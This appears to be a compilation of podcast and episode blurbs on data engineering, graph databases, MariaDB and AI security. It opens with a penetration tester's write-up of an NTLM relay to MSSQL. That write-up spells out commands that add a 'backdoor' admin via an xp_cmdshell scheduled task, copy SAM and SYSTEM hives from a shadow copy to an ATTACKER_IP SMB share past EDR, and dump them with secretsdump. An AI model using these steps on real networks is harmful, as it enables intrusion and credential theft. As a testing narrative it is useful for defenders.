Happy Friday! Today's another hot pile of pentest pwnage. To make it easy on myself I'm going to share the whole narrative that I wrote up for someone else: I was on a pentest where a DA account would sweep the networks every few minutes over SMB and hit my box. But SMB signing was on literally everywhere. The fine folks here recommended I try relaying to something NOT SMB, like MSSQL. This article had good context on that: https://www.guidepointsecurity.com/blog/beyond-the-basics-exploring-uncommon-ntlm-relay-attack-techniques/. I relayed the DA account to a SQL box that BloodHound said had a “session” from another DA. One part I can't explain is the first relay got me a shell in the context of NT SERVICEMSSQLSERVER. That shell broke for some reason while I was sleeping that night, and the next relay landed as NT AUTHORITYSYSTEM (!). The net command would let me add a new user, but BLOCK me trying to make that new user a local admin. However, a scheduled task did the trick: xp_cmdshell schtasks /create /tn "Maintenance" /tr "net local group administrators backdoor /add" /sc once /st 12:00 /ru SYSTEM /f and then xp_cmdshell schtasks /run /tn "Maintenance". Turns out a DA wasn't interactively logged in, but a DA account was configured to run a specific service. I learned those goodies are stored in LSA, so the next move was to use my local admin account to RDP in to the victim and create a shadow copy. That part went fine, but for the life of me I couldn't copy reg hives out of it – EDR was unhappy. In the end, the bizarre combo of things that did the trick was: Setup smbserver.py with username/password auth on my attacking box: smbserver.py -smb2support share . -username toteslegit -password 'DontMindMeLOL!' From the victim system, I did an mklink to the shadow copy: mklink /d C:tempbackup ?GLOBALROOTDeviceHarddiskVolumeShadowCopy123 From command prompt on the victim system, I authenticated to my rogue share: net use ATTACKER_IPshare /user:toteslegit DontMindMeLOL! Then I did a copy command for the first hive: copy SYSTEM my.attackingipsys.test. EDR would kill this cmd.exe box IMMEDIATELY. However….the copy completed! I repeated this process to get SAM copied over as sam.test. Again, EDR nuked the cmd.exe window but copy completed!!!111!!!!! Finishing move: secretsdump -sam sam.test -system sys.test LOCAL

In this episode of Stories from the Hackery, we talk with Nashville tech leader and hiring manager Jason Turan about one of tech's most in-demand fields: data engineering. Jason, a long-time friend of NSS, was one of the first people to tell us that Nashville needed more data engineers. He shares his perspective on what a data engineer does, describing the role as the "connective tissue between data producers and data consumers". Listen in to hear us discuss: - Why data engineers are essential for flipping the 80/20 rule, allowing data scientists and analysts to spend less time cleaning data and more time finding insights. - How the rise of generative AI has acted as an "accelerant," increasing the need for high-quality data and the professionals who can provide it. - Actionable advice for getting started in the field, including the importance of focusing on a "T-shaped skillset" with SQL at its core. - Why Jason's number one piece of advice is to be curious, experiment, and "go out and do the thing". 01:20 Meet Jason Turan: His Tech Origin Story 03:04 Jason's History with NSS and Hiring Grads 07:28 Defining Data Engineering: The "Connective Tissue" of Tech 11:15 Why Nashville is a Hub for Data Engineers 13:56 Healthcare's Impact on Nashville's Data Jobs 20:35 How GenAI Accelerates the Need for Data Engineers 31:33 Getting Started: Lower Barriers to Entry 39:03 A Top Use Case for AI: Understanding Your Codebase 52:21 Misconceptions & the "T-Shaped Skillset" 55:29 The Value of Hands-On Learning: "Go Do the Thing" 58:52 Lightning Round: Favorite Tech Tools 01:00:32 Lightning Round: Top Reads & Resources Links Metabase: https://www.metabase.com/ DuckDB: https://duckdb.org/ MotherDuck: https://motherduck.com/ Ralph Kimball: The Data Warehouse Toolkit: https://www.amazon.com/gp/product/1118530802 Bill Inmon: Building the Data Warehouse: https://www.amazon.com/Building-Data-Warehouse-W-Inmon/dp/0764599445 Edward Tufte: The Visual Display of Quantitative Information: https://www.amazon.com/Visual-Display-Quantitative-Information/dp/0961392142 Brendan Keeler: The Health API Guy: https://healthapiguy.substack.com/ TLDR Newsletter: https://tldr.tech/ Nashville Technology Council (NTC): https://technologycouncil.com/

During the IT Press Tour, I had the pleasure of speaking with Weimo Liu, CEO and co-founder of PuppyGraph, and hearing firsthand how his team is rethinking graph technology for the enterprise. In this episode of Tech Talks Daily, Weimo joins me to share the story behind PuppyGraph's “zero ETL” approach, which lets organizations query their existing data as a graph without ever moving or duplicating it. We discuss why graph databases, despite their promise, have struggled with mainstream adoption, often because of complex pipelines and heavy infrastructure requirements. Weimo explains how PuppyGraph borrows from his time at TigerGraph and Google's F1 engine to build something new: a distributed query engine that maps tables into a logical graph and delivers subsecond performance on massive datasets. That shift opens the door for use cases in cybersecurity, fraud detection, and AI-driven applications where latency and accuracy matter most. We also unpack the developer experience. Instead of rewriting schemas or reloading data every time requirements change, PuppyGraph allows teams to define nodes and edges directly from existing tables. That design lowers the barrier for SQL-focused teams and accelerates time to value. Weimo even touches on the role of graph in reducing AI hallucinations, showing how structured relationships can make enterprise AI systems more reliable. What struck me most in our conversation is how PuppyGraph's playful branding belies its serious engineering depth. Behind the “puppy” name lies a distributed engine built to scale with today's data volumes, backed by strong early adoption and a team that listens closely to customer needs. Whether you're exploring graph for cybersecurity, AI chatbots, or supply chain analytics, this discussion offers a glimpse of how the next generation of graph tech might finally break free from its niche and go mainstream. ********* Visit the Sponsor of Tech Talks Network: Land your first job in tech in 6 months as a Software QA Engineering Bootcamp with Careerist https://crst.co/OGCLA

Dave Herrald, Global Head of Cybersecurity GTM at Databricks, tells Jack about transforming security operations through modern data lake architectures and strategic AI implementation. He discusses the practical benefits of separating storage from compute, giving security teams direct control over data retention while maintaining operational flexibility. The conversation explores how organizations can move beyond traditional SIEM limitations by leveraging cost-effective data lake storage with advanced analytics capabilities. They touch on AI agents in security, where Dave advocates for focused agents over broad analyst replacement approaches. He also addresses common concerns about hallucinations, framing them as engineering challenges rather than insurmountable obstacles, and shares real-world examples of successful agent implementations. Topics discussed: Moving from traditional SIEM architectures to modern data lake approaches for cost-effective security analytics and data control. Implementing focused AI agents for specific security tasks like context gathering rather than attempting broad analyst replacement. Leveraging graph analytics for security operations including CMDB visualization, breach scoping, and vulnerability prioritization across enterprise environments. Addressing AI hallucinations through prompt engineering and proper context management rather than avoiding AI implementation entirely. Building detection capabilities using SQL and Python for analytics that provide supersets of traditional SIEM query languages. Creating normalization frameworks using standards like OCSF to enable consistent data analytics across diverse security data sources. Developing career resilience in security through mission-focused thinking, continuous AI learning, and building practical skills. Comparing modern AI agents to traditional SOAR platforms for automation effectiveness and maintenance requirements. Establishing data governance and access controls in security data lakes while maintaining operational flexibility and cost effectiveness. Listen to more episodes: Apple Spotify YouTube Website
Episode SummaryMachine learning has been around for decades, but as it evolves rapidly, the need for robust security grows even more urgent. Today on the Secure Developer, co-founder and CEO of Mindgard, Dr. Peter Garraghan, joins us to discuss his take on the future of AI. Tuning in, you'll hear all about Peter's background and career, his thoughts on deep neural networks, where we stand in the evolution of machine learning, and so much more! We delve into why he chooses to focus on security in deep neural networks before he shares how he performs security testing. We even discuss large language model attacks and why security is the responsibility of all parties within an AI organisation. Finally, our guest shares what excites him and scares him about the future of AI.Show NotesIn this episode of The Secure Developer, host Danny Allan welcomes Dr. Peter Garraghan, CEO and CTO of Mindgard, a company specializing in AI red teaming. He is also a chair professor in computer science at Lancaster University, where he specializes in the security of AI systems.Dr. Garraghan discusses the unique challenges of securing AI systems, which he began researching over a decade ago, even before the popularization of the transformer architecture. He explains that traditional security tools often fail against deep neural networks because they are inherently random and opaque, with no code to unravel for semantic meaning. He notes that AI, like any other software, has risks—technical, economic, and societal.The conversation delves into the evolution of AI, from early concepts of artificial neural networks to the transformer architecture that underpins large language models (LLMs) today. Dr. Garraghan likens the current state of AI adoption to a "great sieve theory," where many use cases are explored, but only a few, highly valuable ones, will remain and become ubiquitous. He identifies useful applications like coding assistance, document summarization, and translation.The discussion also explores how attacks on AI are analogous to traditional cybersecurity attacks, with prompt injection being similar to SQL injection. He emphasizes that a key difference is that AI can be socially engineered to reveal information, which is a new vector of attack. The episode concludes with a look at the future of AI security, including the emergence of AI security engineers and the importance of everyone in an organization being responsible for security. Dr. Garraghan shares his biggest fear—the anthropomorphization of AI—and his greatest optimism—the emergence of exciting and useful new applications.LinksMindgard - Automated AI Red Teaming & Security TestingSnyk - The Developer Security Company Follow UsOur WebsiteOur LinkedIn

Fredrik talks to Taylor Troesh about packaging things, generating code, and database evolution. Why is it so hard to package and build things? Is it a failure of ergonomics? Is there hope for a change? We also discuss generating code using LLMs, and Taylor presents the workflow of using them to generate projects from scratch, starting over if more fundamental changes are needed. After that, we dig into databases and SQL, and Taylor has many thoughts and opinions about how they can be used and might evolve. Finally, we discuss other interesting projects, keeping track of ideas, what the OPTC is, and why should you cut down a palm tree? Recorded during Øredev 2024.

Last episode, we lamented Claude's lack of checkpoints to roll back code when it goes off the rails. Other devs feel the same, and this week Checkpoints for Claude Code debuted. It's an MCP server that follows Claude Code, creating checkpoints when tasks are completed, allowing for easy reverts when needed.The Bun team quietly pushed some nice new features in Bun v1.2. Highlights include: a unified SQL client with zero dependencies, native YAML file support, OS native credential storage for secrets, and a security scanner API that scans packages for vulnerabilities before installation.And MCP-UI, a toolkit of interactive UI components for MCP has new features to support resources beyond text like embedded iframes and even raw HTML. Not all agents with MCP support can handle these new resources, but if they can, users can see product photos, data visualizations, and other mini sites right in their AI chat.In the Lightning News section for this week, the folks at Deno leading the charge to get Oracle to relinquish its trademark for JavaScript need our help.

Is it a database software? An operating system? It's both. Produced by Richard Pick, nicknamed "Dick", (Yes, I know) Pick OS is older than SQL, UNIX, or CP/M. I have never seen anything like it, and the people who use it tend to love it to death. In today's video, we explore a unique database software plus operating system.
Rahul Auradkar, executive VP and GM at Salesforce, grew up in India with a deep passion for cricket, where his love for the game sparked an early interest in data. This fascination with statistics laid the foundation for his current work leading Salesforce's Data Cloud and Einstein (Unified Data Services) team. Auradkar reflects on how structured data has evolved—from relational databases in enterprise applications to data warehouses, data lakes, and lakehouses. He explains how initial efforts focused on analyzing structured data, which later fed back into business processes. Eventually, businesses realized that the byproducts of data—what he calls "data exhaust"—were themselves valuable. The rise of "old AI," or predictive AI, shifted perceptions, showing that data exhaust could define the application itself. As varied systems emerged with distinct protocols and SQL variants, data silos formed, trapping valuable insights. Auradkar emphasizes that the ongoing challenge is unifying these silos to enable seamless, meaningful business interactions—something Salesforce aims to solve with its Data Cloud and agentic AI platform.Learn more from The New Stack about the evolution of structured data and agent AI: How Enterprises and Startups Can Master AI With Smarter Data Practices Enterprise AI Success Demands Real-Time Data PlatformsJoin our community of newsletter subscribers to stay on top of the news and at the top of your game.

When I first tried to learn JavaScript, I hated it so much I told myself I'd just be an HTML and CSS developer and never touch it again. Of course, my first job threw me straight into Angular, C#, SQL, and a mountain of JavaScript I wasn't ready for.In this episode, I share what made JavaScript so brutal for me (and for almost every student I've worked with), the mistakes that keep people stuck, and the science-backed strategies that actually helped me go from totally lost to confident. If you've been banging your head against for loops, callbacks, or just “getting it,” this one's for you.Send us a textShameless Plugs
MariaDB is a name with deep roots in the open-source database world, but in 2025 it is showing the energy and ambition of a company on the rise. Taken private in 2022 and backed by K1 Investment Management, MariaDB is doubling down on innovation while positioning itself as a strong alternative to MySQL and Oracle. At a time when many organisations are frustrated with Oracle's pricing and MySQL's cloud-first pivot, MariaDB is finding new opportunities by combining open-source freedom with enterprise-grade reliability. In this conversation, I sit down with Vikas Mathur, Chief Product Officer at MariaDB, to explore how the company is capitalising on these market shifts. Vikas shares the thinking behind MariaDB's renewed focus, explains how the platform delivers similar features to Oracle at up to 80 percent lower total cost of ownership, and details how recent innovations are opening the door to new workloads and use cases. One of the most significant developments is the launch of Vector Search in January 2023. This feature is built directly into InnoDB, eliminating the need for separate vector databases and delivering two to three times the performance of PG Vector. With hardware acceleration on both x86 and IBM Power architectures, and native connectors for leading AI frameworks such as LlamaIndex, LangChain and Spring AI, MariaDB is making it easier for developers to integrate AI capabilities without complex custom work. Vikas explains how MariaDB's pluggable storage engine architecture allows users to match the right engine to the right workload. InnoDB handles balanced transactional workloads, MyRocks is optimised for heavy writes, ColumnStore supports analytical queries, and Moroonga enables text search. With native JSON support and more than forty functions for manipulating semi-structured data, MariaDB can also remove the need for separate document databases. This flexibility underpins the company's vision of one database for infinite possibilities. The discussion also examines how MariaDB manages the balance between its open-source community and enterprise customers. Community adoption provides early feedback on new features and helps drive rapid improvement, while enterprise customers benefit from production support, advanced security, high availability and disaster recovery capabilities such as Galera-based synchronous replication and the MacScale proxy. We look ahead to how MariaDB plans to expand its managed cloud services, including DBaaS and serverless options, and how the company is working on a “RAG in a box” approach to simplify retrieval-augmented generation for DBAs. Vikas also shares his perspective on market trends, from the shift away from embedded AI and traditional machine learning features toward LLM-powered applications, to the growing number of companies moving from NoSQL back to SQL for scalability and long-term maintainability. This is a deep dive into the strategy, technology and market forces shaping MariaDB's next chapter. It will be of interest to database architects, AI engineers, and technology leaders looking for insight into how an open-source veteran is reinventing itself for the AI era while challenging the biggest names in the industry.

Qian Li of DBOS, a durable execution platform born from research by the creators of Postgres and Spark, speaks with host Kanchan Shringi about building durable, observable, and scalable software systems, and why that matters for modern applications. They discuss database-backed program state, workflow orchestration, real-world AI use cases, and comparisons with other workflow technologies. Li explains how DBOS persists not just application data but also program execution state in Postgres to enable automatic recovery and exactly-once execution. She outlines how DBOS uses workflow and step annotations to build deterministic, fault-tolerant flows for everything from e-commerce checkouts to LLM-powered agents. Observability features, including SQL-accessible state tables and a time-travel debugger, allow developers and business users to understand and troubleshoot system behavior. Finally, she compares DBOS with tools like Temporal and AWS Step Functions. Brought to you by IEEE Computer Society and IEEE Software magazine.
